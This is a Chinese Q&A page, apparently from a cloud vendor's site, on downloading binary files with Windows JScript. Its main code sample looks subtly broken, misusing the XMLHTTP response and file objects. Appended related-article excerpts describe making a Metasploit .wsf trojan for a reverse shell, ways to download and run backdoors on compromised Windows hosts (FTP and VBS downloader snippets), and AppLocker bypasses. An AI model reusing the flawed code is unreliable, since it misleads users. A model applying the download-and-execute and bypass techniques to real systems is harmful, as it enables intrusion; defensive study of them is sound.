首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Windows脚本宿主(jscript):我如何下载二进制文件?

Windows脚本宿主(jscript)是一种用于在Windows操作系统上执行脚本的宿主环境。如果你想要通过jscript下载二进制文件,可以使用以下步骤:

  1. 创建一个jscript脚本文件,例如download.js。
  2. 在脚本中使用XMLHttpRequest对象或者WinHttp.WinHttpRequest COM对象来发送HTTP请求,并获取二进制文件的内容。
    • 对于XMLHttpRequest对象,你可以使用其open()方法指定请求的方法(GET、POST等)和URL,然后使用responseType属性设置为"arraybuffer",最后发送请求并处理响应。
    • 对于WinHttp.WinHttpRequest COM对象,你可以使用其Open()方法指定请求的方法和URL,然后使用Send()方法发送请求,并使用ResponseBody属性获取响应的二进制内容。
  3. 将获取到的二进制内容保存到本地文件中。
    • 对于XMLHttpRequest对象,你可以使用response属性获取到的响应内容,然后使用FileSystemObject对象的CreateTextFile()方法创建一个文本文件,最后使用Write()方法将二进制内容写入文件。
    • 对于WinHttp.WinHttpRequest COM对象,你可以使用ADODB.Stream对象将响应内容保存到本地文件中。

以下是一个示例的jscript脚本文件,用于下载二进制文件:

代码语言:javascript
复制
var url = "http://example.com/file.bin"; // 要下载的二进制文件的URL

// 创建XMLHttpRequest对象
var xhr = new ActiveXObject("Microsoft.XMLHTTP");
xhr.open("GET", url, false);
xhr.responseType = "arraybuffer";
xhr.send();

if (xhr.status === 200) {
  // 获取响应的二进制内容
  var response = xhr.response;

  // 保存二进制内容到本地文件
  var fso = new ActiveXObject("Scripting.FileSystemObject");
  var file = fso.CreateTextFile("file.bin", true);
  var stream = new ActiveXObject("ADODB.Stream");
  stream.Type = 1; // adTypeBinary
  stream.Open();
  stream.Write(response);
  stream.SaveToFile(file.Path, 2); // adSaveCreateOverWrite
  stream.Close();
  file.Close();
}

请注意,以上示例中使用了ActiveXObject对象来创建XMLHttpRequest和FileSystemObject对象,以及ADODB.Stream对象来保存二进制内容到本地文件。这些对象是Windows脚本宿主(jscript)特有的,不适用于其他环境。

希望以上信息对你有帮助!如果你需要了解更多关于Windows脚本宿主(jscript)或其他云计算相关的知识,请随时提问。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

的电脑打开提示windows脚本宿主错误的解决方案

具体症状为:的电脑打不开或者提示windows脚本宿主错误;各分区下存在autorun.inf以及随机数字为文件名的vbs文件,无法彻底删除;文件关联被修改;插入U盘自动感染等。...打开搜索,删除各分区根目录下的vbs文件和autorun.inf,删除系统分区windows文件夹下的随机数字文件名的vbs文件。 3....(文件名看电脑各分区下的vbs文件即可)将找到的所有键值里的双引号内的内容以及双引号删除(应为一个vbs文件的路径)。 5. 完成以上步骤以后,发现的电脑打不开,很多常见文件格式无法打开。...下载以下软件进行修复: 瑞星注册表修复工具 Windows清理助手 6. win+r 输入以下命令 reg add "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-...只是win+e打不开了,这点暂时还不知该如何修复。

73320

go如何windows编译成二进制文件

此版本还改进了 SMP 调度的负载平衡器,以识别具有多个繁忙同级的 SMT 内核,并允许优先级较低的 CPU 拉取任务以避免多余的迁移,并改进了 EXT4 文件系统的日志、块分配器子系统和并行 DIO...Rust 1.72.0 发布 --lwn.net ## go编译为linux二进制文件 三行代码搞定: ``` set GOOS=linux set GOARCH=amd64 go build -o...myapp-linux ``` 但是遇到问题了,随后使用以下三行代码解决,可能是因为用的是powershell的原因: 查了一下如此解释: 在 Windows PowerShell 中,env 是一个特殊的变量...而在 Windows 的命令提示符中,使用 set 命令来设置环境变量,如 set VARNAME=value。...Windows PowerShell 借鉴了一些类 Unix 系统的概念,包括使用 env 语法来设置环境变量。

27120

浅谈非PE的攻击技巧

正文 一、脚本攻击 1.JScript,VBScript还是PowerShell?...典型脚本后缀名称.ps1 通过对16年下半年与17年上半年样本类型进行分析, 其中JScript与VBScript的比例为7:3,以单独文件存在的PowerShell攻击脚本少之又少,但其在文档攻击中却颇为常见...2.对抗&绕过 2.1 猜猜是谁 对于杀软厂商来讲,PE文件类型的识别较为容易,因为它们有固定的格式以及标记,但对于非PE样本来讲,识别文件类型是一个比较困难的问题,通常有两种可选方案,各有优缺点,方案...wscript与cscript作为js,vbs脚本宿主进程,在大多数情况下这些脚本都能顺利执行,但如果在某些受限环境下,只允许白名单内的脚本文件执行,这时就需要一些白名单利用技巧, 2.2.1 regsvr32...,号称能够让利用windows内置host脚本隐藏或混淆的恶意脚本无所遁形。

1.6K70

从javascript脚本混淆说起

前言 jscript是由微软公司开发的脚本语言,是对ECMAScript语法规范的实现,最初是随着 IE 3.0于1996年8月发布,和其所开发的其他脚本语言一样,后来被 Windows ScriptHost...Windows上的.js文件运行是这样的( 实际后缀还有可能是.jse,.wsf, .wsh),在你双击这类文件时,通常的操作是由代理程序传给宿主进程作为参数运行,这个宿主进程也通常为 wscript.exe...那么是不是所有js 的脚本必须要有后缀?当然不是,你可以使用wscript //e:jscript 文件名称的形式执行。是不是还要问 jscript和javascript是不是同一个?当然不是!...环境检测 一个脚本的行为特性,有时会受到当前运行环境影响,比如说,去下载一个文件,但链接文件不存在,通常做法是直接提示然后结束,又或者说,去创建一个文件,之后去判断是否创建成功,成功之后做剩余操作,失败则直接提示后结束...其他 /@cc_on @/形式的条件编译,只有支持jscript语法的宿主中才会执行,所以如果某 虚拟执行引擎不支持这类语法规则的话,则会直接以/**/注释的形式跳过这段代码,从而对脚本实际行为出现错觉

1.5K40

如何Windows和Linux上搜索可利用的二进制文件或exe文件

Gtfo Gtfo这款工具采用Python3开发,在Gtfo的帮助下,广大研究人员可以直接在命令行终端窗口中搜索GTFOBins和LOLBAS代码文件。...该工具的主要功能就是帮助研究人员直接在命令行终端窗口中搜索GTFOBins和LOLBAS代码文件。...工具安装 广大用户可以使用git命令将项目代码从GitHub库中克隆至本地: git clone https://github.com/mzfr/gtfo.git 下载完成之后,切换到项目目录,然后根据自己的需求运行对应的命令即可.../gtfoPython3 gtfobins.py 工具运行截图 搜索GTFOBins代码文件: 搜索LOLBAS代码文件: 枚举exe文件: 枚举代码文件: 错误提示: 项目贡献 1、报告漏洞; 2、修复错误或

1.7K30

msf 生成.wsf 木马

前天在群里问了如何生成.wsf msf马,今天写出了实例,分享出来,同时期待亮神的佳作。...https://blog.csdn.net/leyvan/article/details/3746683 http://book.51cto.com/art/201111/300472.htm wsf脚本语言是...Windows 脚本文件,是含有可扩展标记语言 (XML),支持javascript和vbs, Include 语句将函数从 VBScript 或 JScript 文件合并到 Windows 脚本宿主项目中...wsf后门思路: 1)学习.wsf脚本格式 2)msf生成vbs 3) msf生成vbs插入.wsf脚本格式 4)尝试运行查看是否报错 5)反弹shell 开始制作脚本: 1) .wsf脚本格式 ?...3) msf生成vbs插入.wsf脚本中 ? 4)尝试运行无查看是否报错: 直接运行无报错 ? 使用cscript.exe (WindowsScript Host引擎),运行无报错: ?

1.6K20

系统脚本执行类命令一览

[TOC] CScript 命令 描述: cscript(即cscript.exe)一般位于C:/Windows/System32文件夹中,有些时候我们可能需要在Windows中执行脚本文件通常具有以下扩展名之一...:.wsf、.vbs、.js; 当然,一般情况下,双击这些脚本文件并不会直接执行,而仅仅只是以关联的文本编辑器打开该脚本文件 如果我们想要在Windows上执行这些脚本文件,我们可以使用Windows自带的...demo.js): cscript demo.js //e:jscript #2.如果我们想要执行vbs脚本文件,可以编写如下代码(假设vbs脚本文件名为demo.vbs): cscript demo.vbs...写道到文件之中进行执行 cscript 1.vbs //E:vbs ? WeiyiGeek. 备注: Windows 脚本宿主可以使用.wsf 脚本文件。...而Wscript直接用窗口输出适合调试程序和编写小工具; 基础语法: Wscript #Windows脚本宿主设置 wscript /?

1.9K42

系统脚本执行类命令一览

[TOC] CScript 命令 描述: cscript(即cscript.exe)一般位于C:/Windows/System32文件夹中,有些时候我们可能需要在Windows中执行脚本文件通常具有以下扩展名之一...:.wsf、.vbs、.js; 当然,一般情况下,双击这些脚本文件并不会直接执行,而仅仅只是以关联的文本编辑器打开该脚本文件 如果我们想要在Windows上执行这些脚本文件,我们可以使用Windows自带的...demo.js): cscript demo.js //e:jscript #2.如果我们想要执行vbs脚本文件,可以编写如下代码(假设vbs脚本文件名为demo.vbs): cscript demo.vbs...写道到文件之中进行执行 cscript 1.vbs //E:vbs WeiyiGeek. 备注: Windows 脚本宿主可以使用.wsf 脚本文件。...而Wscript直接用窗口输出适合调试程序和编写小工具; 基础语法: Wscript #Windows脚本宿主设置 wscript /?

1.1K30

Windows文件下载执行的15种姿势

当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢? 一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。...第一种,远程下载文件到本地,然后再执行;第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式。...由于certutil下载文件都会留下缓存,所以一般都建议下载文件后对缓存进行删除。...4、wget Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。...15、pubprn.vbs 在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts

3.3K11

不安装 ftp 如何windows 服务器上传下载文件

现在有很多新手仍然在使用 Windows 服务器,为了方便上传下载文件,我们都会在 windows 服务器上安装 ftp 服务器端,然后在本地电脑用 ftp 软件上传下载各种文件,很是方便。...为了规避这个问题,魏艾斯博客今天教大家如何在不安装 ftp 的情况下,在本地电脑和 windows 服务器中上传下载文件。...有些新手使用破解版的、漏洞较多的 ftp 服务器端程序,结果每天被几万次暴力破解,所以有时候 ftp 软件会影响服务器性能和安全性,那么问题来了,在不安装 ftp 服务器端和客户端的情况下如何向服务器中上传下载文件呢...二、远程桌面共享硬盘 如果远程服务器是 Windows2003 版本,也可以使用本地硬盘映射到远程服务器的办法上传下载文件。...允许转载,保留出处:魏艾斯博客 » 不安装 ftp 如何windows 服务器上传下载文件

14.1K70

红队笔记 - PowerView进行AD列举

寻找豁免的二进制文件或绕过的路径。...如果C:\Windows允许二进制文件(默认行为),请尝试将二进制文件放到C:\Windows\Temp或C:\Windows\Tasks。...如果此目录树中没有可写的子目录但存在可写的文件,请将文件写入备用数据流(例如 JScript 脚本)并从那里执行。...将您的二进制文件包装在一个 DLL 文件中,并在rundll32未强制执行 DLL 时执行它们以绕过可执行规则(默认行为)。 如果允许像 Python 这样的二进制文件,请使用它们。...如果这不起作用,请尝试其他技术,例如将 JScript 包装在 HTA 文件中或运行带有wmic. 否则提升你的特权。AppLocker 规则通常不会对(本地)管理用户强制执行。

1.1K30

隐藏在注册表的恶意软件 – Poweliks

Poweliks在注册表里面创建的键值使用非ASCII字符作为键名,防止使用Windows注册表编辑器直接读取。如下图1: ? ? 我们使用注册表编辑器打开之后如下图: ?...GData公司发布的文章提到,Poweliks所有的活动都存储在注册表中,没有任何文件被创建过,所以能够绕过传统的恶意软件文件扫描技术,并且能够执行任意操作。...GData举例子说明,Poweliks执行原理如同俄罗斯套娃一样,一层套着一层,最初执行JScript代码,一系列判断之后最终执行包含恶意代码的PowerShell脚本。...并且Poweliks会查询机器的硬编码IP地址,攻击者可以执行任意命令,如下载一些攻击的payload等。...PowerShell,另外一部分是经过Base64编码的PowerShell脚本, 该脚本调用并执行攻击者定义的shellcode 4、shellcode会执行Windows二进制文件的payload

1.4K100

使用 WPADPAC 和 JScript在win11中进行远程代码执行

结果是PAC——一种配置文件格式,其工作方式如下:浏览器连接到预配置的服务器,下载 PAC 文件,并执行特定的 Javascript 函数以确定正确的代理配置。为什么不?...不知何故,这项技术最终成为了 1999 年到期的IETF 草案,而现在,在 2017 年,每台 Windows 机器都会询问本地网络:“嘿,在哪里可以找到要执行的 Javascript 文件?”。...初步调查显示,负责执行这些配置文件的 JS 引擎是 jscript.dll - 也支持 IE7 和 IE8 的旧版 JS 引擎(如果使用适当的脚本属性,在 IE7/8 兼容模式下仍然可以在 IE11 中访问...处于网络特权地位的攻击者(例如网关或任何其他上游主机)可以监视 DNS 查询并欺骗回复,从而指导客户端下载并执行恶意 Javascript 文件。...WPAD 中的 JScript 相当于在 IE7 兼容模式下运行脚本,这意味着,虽然我们发现了 7 个漏洞,但在 WPAD 中“仅”可以触发其中的 5 个。

5.2K470

ECMAScript进化史(1):​话说Web脚本语言王者JavaScript的加冕历史

Netscape公司一年前就开始找人开发一种脚本语言,希望能够运用到浏览器的网页里,让网能够动起来。...1997年,微软发布了性能稳定的IE 4.0,并捆绑windows销售,从此终结了Netscape 的王者之路 作为竞争对手的微软在自家的IE3中加入了名为JScript(名称不同是为了避免侵权)的JavaScript...实现,微软用JScript1.0来抢占客户端脚本市场。...而此时市面上意味着有3个不同的JavaScript版本(web脚本语言),IE的JScript、网景的JavaScript和ScriptEase中的CEnvi。...Web浏览器只是ECMAScript实现可能的宿主环境之一。ECMA-262定义的只这门语言的基础,而在此基础上可能构建更完善的脚本语言。

71200

推荐几款好用的文本编辑器

更新非常勤快 下载地址:http://www.sublimetext.com/ Visual Studio Code Visual Studio Code 是一个运行于 OS X,Windows 和...处理许多不同的编码,包括 UTF-8、UTF-16 甚至 UTF-32 垂直滚动条中的导航提示 根据路径对打开的标签进行着色 可用 JScript 或 VBScript 编写的插件扩展 界面截图: ?...下载地址:https://editra.en.softonic.com/ UltraEdit UltraEdit可配置语法加亮,支持代码折叠、Unicode;在32位Windows平台上进行64位文件处理...支持登录和保存多个账户,支持SSH/Telnet窗口; UltraEdit文本编辑器提供预定义的或用户创建的编辑“环境”,能记住UltraEdit的所有可停靠窗口、工具栏等的状态; UltraEdit文本编辑器集成脚本语言以自动执行任务...,可配置键盘映射,列/块模式编辑,命名的模板; 十六进制编辑器可以编辑任何二进制文件,并显示二进制和ASCII视图; HTML工具栏,对常用的HTML功能作了预配置;文件加密/解密;多字节和集成的IME

2.3K30

Win下终端实现文件上传和下载执行

[TOC] 0x00 前言 描述:作为一个网络安全从业者,您可能会常常在渗透测试中遇到只有一个Shell情况下如何将可执行文件上传到一台windows机器上(主要由于没有界面操作),在实际渗透测试中将我的经验和方法进行分享...#-A 匿名登录 PUT上传文件 GET下载文件 BIN 在上传和下载文件使用 echo open 192.168.1.1 21> ftp.txt echo ftp >> ftp.txt echo bin...Post.responseBody) >>download.vbs echo aGet.SaveToFile "C:\test\update\ssss2.exe",2 >>download.vbs 补充VBS下载脚本...: 使用 Usage 帮助:cscript //nologo C:\inetpub\wwwroot\wget.vbs 远程地址 保存文件名 #vbs脚本开始 Set oHttp = CreateObject...C:\test\update\wget.zip 运行后会下载wget的压缩包wget.zip 注:Windows系统默认不包含解压缩zip文件的命令,但是可以通过vbs来实现解压缩zip文件 vbs实现解压缩

1.8K10
领券